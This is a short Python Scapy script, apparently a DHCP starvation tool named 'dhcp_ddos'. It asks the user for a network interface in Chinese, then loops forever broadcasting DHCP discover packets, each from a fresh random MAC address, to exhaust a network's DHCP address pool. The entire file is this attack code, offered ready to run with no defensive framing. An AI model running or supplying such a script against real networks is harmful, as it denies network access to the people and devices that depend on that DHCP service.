#!/usr/bin/env python3
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import multiprocessing
from scapy.all import *
from product_random_mac_tool import random_mac
import time

def dhcp_discover_mac(ifname,mac):
    discover = Ether(dst="FF:FF:FF:FF:FF:FF",src=mac,type=0x0800)/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP()/DHCP()
    sendp(discover,iface=ifname)
def dhcp_mac():
    return random_mac()
    
def dhcp_ddos(ifname):
    i = 1
    while True:
        mac_addr = dhcp_mac()

        if i < 300:
            print(mac_addr)
            dhcp_discover_mac(ifname,mac_addr)
            i +=1
            time.sleep(1)
        else:
            dhcp_discover_mac(ifname,mac_addr)
            time.sleep(1)
            i += 1
        
if __name__ =="__main__":
    ifname = input("请输入接口地址（ifconfig查看）：").strip()
    dhcp_ddos(ifname)
